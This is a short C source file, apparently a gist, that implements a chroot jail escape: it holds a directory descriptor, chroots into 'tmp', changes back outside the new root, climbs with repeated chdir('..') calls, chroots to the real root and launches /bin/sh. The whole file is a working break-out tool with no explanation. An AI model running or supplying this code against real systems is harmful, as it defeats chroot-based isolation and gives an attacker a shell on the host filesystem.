gistfile1.c

#include <stdio.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include <string.h>
#include <unistd.h>

#include <errno.h>

#define UP_LIMIT 100

#ifndef O_DIRECTORY
#	define O_DIRECTORY 0
#endif

int
main(void) {
	int i;
	char *argv[] = { NULL, "escape", NULL };
	char *envp[] = { NULL };
	int fd = open(".", O_DIRECTORY, 0);
	if (fd < 0) {
		printf("opening '.' failed: %s\n", strerror(errno));
		exit(1);
	}
	
	puts("chrooting to /tmp");
	chroot("tmp");

	puts("changing back to original root");
	if (fchdir(fd)) {
		printf("failed: %s\n", strerror(errno));
		exit(1);
	}

	puts("escaping...");
	for(i = 0; i < UP_LIMIT; i++)
		if(chdir("..")) {
			printf("failed: %s\n", strerror(errno));
			exit(1);
		}

	puts("chrooting to .");
	chroot(".");

	puts("starting shell /bin/sh...");
	if(execve("/bin/sh", argv, envp)) {
		printf("failed: %s\n", strerror(errno));
		exit(1);
	}

	return 0;
}